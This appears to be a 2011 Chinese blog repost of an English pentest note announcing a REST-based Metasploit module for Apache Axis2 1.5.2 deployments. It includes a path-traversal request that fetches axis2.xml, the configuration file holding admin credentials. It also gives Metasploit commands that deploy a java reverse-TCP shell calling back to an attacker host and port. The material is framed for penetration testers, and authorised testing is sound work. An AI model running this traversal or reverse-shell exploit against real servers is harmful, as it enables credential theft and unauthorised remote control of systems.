axis2 pentest

于 2011-08-11 14:47:00 发布 · 105 阅读

文章标签：

#java #shell

本文介绍了一种针对Axis2版本1.5.2的Exploit模块，该模块使用REST而非SOAP进行攻击。对于需要通过REST而非SOAP进行Axis2攻击的渗透测试者来说，这是一个重要的工具更新。

http://www.focusecurity.org/category/Metasploit

axis2/services/Version?xsd=../conf/axis2.xml

Last weekend at OWASP BASC 2010, I created another version of the Axis2 Deployer exploit which uses REST instead of SOAP. This is important because pentesters may need to exploit Axis2 via REST, since SOAP may be disabled in certain environments. This module will not work against SAP BusinessObjects since the dswsbobje.war module has the REST interface disabled by default. I have tested the module against Axis2 1.5.2.

The REST version of Axis2 Deployer Exploit module can be found here.

In essence this module adds more flexibility for everyone that is a pentesting an environment with Axis2.

Example usage:

use exploit/multi/http/axis2_deployer_rest set PATH /axis2 set RHOST 192.168.33.128 set payload java/shell/reverse_tcp set target 0 set LHOST 192.168.33.1 set LPORT 13337 exploit -j